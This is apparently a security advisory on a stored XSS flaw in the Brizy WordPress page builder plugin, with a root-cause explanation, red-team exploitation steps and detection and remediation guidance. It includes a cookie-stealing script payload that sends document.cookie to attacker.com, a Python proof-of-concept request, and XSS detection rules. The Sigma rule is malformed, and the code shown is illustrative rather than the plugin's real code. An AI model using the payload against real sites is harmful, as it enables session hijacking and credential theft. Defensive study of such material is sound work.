CVE-2024-2087

Executive Summary

CVE-2024-2087 is a Stored Cross-Site Scripting (XSS) vulnerability in the Brizy – Page Builder plugin for WordPress, affecting all versions up to and including 2.4.43. The flaw resides in the form name values, where insufficient input sanitization and output escaping allow unauthenticated attackers to inject arbitrary web scripts. When a user (including administrators) accesses a page containing the malicious form, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or further compromise of the WordPress site.

This vulnerability is particularly dangerous because it requires no authentication and can be triggered by simply viewing the compromised page. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the lack of a patch makes it a high-priority target for proactive defense.

Supply Chain & Package Security

This vulnerability affects the Brizy plugin distributed via the WordPress plugin repository. Users should verify they are not running version 2.4.43 or earlier. No official patch has been released as of this report.

CVSS Breakdown & Threat Level

• CVSS Score: 7.2 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – Unauthenticated attackers can inject.
• User Interaction: Required (UI:R) – Victim must visit the injected page.
• Scope: Changed (S:C) – Impact extends beyond the vulnerable component.
• Confidentiality Impact: Low (C:L) – Limited data exposure.
• Integrity Impact: Low (I:L) – Limited modification possible.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: High. The combination of unauthenticated injection and stored XSS makes this a serious risk for WordPress sites using Brizy.

Deep Dive & Mechanics

The vulnerability exists in the Brizy form builder component. When a user submits a form, the plugin stores the form name value without proper sanitization. The stored value is later rendered on the page without escaping, allowing arbitrary HTML/JavaScript to execute.

Root Cause: The brizy plugin fails to sanitize the name field of form submissions and does not escape it when outputting in the admin or frontend. This is a classic stored XSS pattern.

Attack Flow:

1. Attacker identifies a WordPress site with Brizy plugin <= 2.4.43.
2. Attacker submits a form with a malicious payload in the name field, e.g., <script>alert('XSS')</script>.
3. The payload is stored in the database.
4. When an administrator or any user views the form submissions page or the page containing the form, the script executes.
5. The attacker can steal cookies, redirect users, or perform actions on behalf of the victim.

WordPress Ecosystem Context: This is a WordPress plugin vulnerability. The attack targets the WordPress admin panel and frontend pages using Brizy forms. No server-level compromise is required.

Vulnerable vs. Patched Code

Since no patch is available, we analyze the vulnerable code pattern.

Vulnerable Code (Brizy <= 2.4.43):

// In form submission handler
$form_name = $_POST['form_name']; // No sanitization
// Store in database
update_post_meta($post_id, 'brizy_form_name', $form_name);

// In output
echo get_post_meta($post_id, 'brizy_form_name', true); // No escaping

Patched Code (Hypothetical):

// Sanitize input
$form_name = sanitize_text_field($_POST['form_name']);
// Escape output
echo esc_html(get_post_meta($post_id, 'brizy_form_name', true));

The fix requires using WordPress functions like sanitize_text_field() on input and esc_html() on output.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• WordPress site with Brizy plugin <= 2.4.43.
• A form created using Brizy (any form with a name field).

Exploit Steps:

1. Identify the form submission endpoint (usually /wp-admin/admin-ajax.php with action brizy_submit_form).
2. Craft a POST request with a malicious payload in the form_name parameter.

Example Payload:

<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Proof-of-Concept (Python):

import requests

target = "http://target-site.com/wp-admin/admin-ajax.php"
payload = {
    'action': 'brizy_submit_form',
    'form_name': '<script>alert("XSS")</script>',
    'form_id': '1'
}
requests.post(target, data=payload)

Expected Result: When an admin visits the form submissions page, the script executes.

Blue Team (Defense & Detection)

Detection Steps:

1. Monitor for unusual form submissions containing HTML/JavaScript.
2. Check for form_name values with <script> tags in the database.
3. Use WAF rules to block XSS payloads in form fields.

Mitigation:

• Disable Brizy plugin until patch is applied.
• Implement a Web Application Firewall (WAF) with XSS rules.
• Restrict access to form submission endpoints.

Indicators of Compromise (IOCs)

Network IOCs:

• POST requests to /wp-admin/admin-ajax.php with action=brizy_submit_form and suspicious form_name values.
• Outbound connections to attacker-controlled domains from the WordPress server.

Host IOCs:

• Database entries in wp_postmeta with meta_key = 'brizy_form_name' containing <script> tags.
• Modified WordPress files in /wp-content/plugins/brizy/ (though unlikely).

File IOCs:

• Log entries showing XSS payloads in form submissions.

Detection Engineering

YARA Rule

rule CVE_2024_2087_Brizy_XSS {
    meta:
        description = "Detects stored XSS payloads in Brizy form name values"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-2087"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $brizy_form = /brizy_form_name/
    condition:
        $brizy_form and $xss_payload
}

Sigma Rule

title: CVE-2024-2087 Brizy Stored XSS Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit stored XSS in Brizy plugin via form name
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'action=brizy_submit_form'
        cs-uri-query|contains: 'form_name='
    keywords:
        - '<script'
        - 'javascript:'
        - 'onerror='
        'onload='
    condition: selection and keywords
falsepositives:
    - Legitimate form submissions with HTML in name (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-2087 Brizy Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=brizy_submit_form"; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Brizy plugin until a patch is released.
2. Scan for existing compromise – Check database for malicious brizy_form_name entries.
3. Implement WAF rules to block XSS payloads in form fields.

Long-term Fix:

• Apply the official patch when released (monitor Brizy plugin updates).
• Ensure all WordPress plugins are kept up-to-date.
• Use security plugins like Wordfence to detect XSS attempts.

Workaround:

• If disabling is not possible, manually sanitize the form_name field by adding a filter:

add_filter('brizy_form_name', 'sanitize_text_field');

Valters IT
Securing Digital Frontiers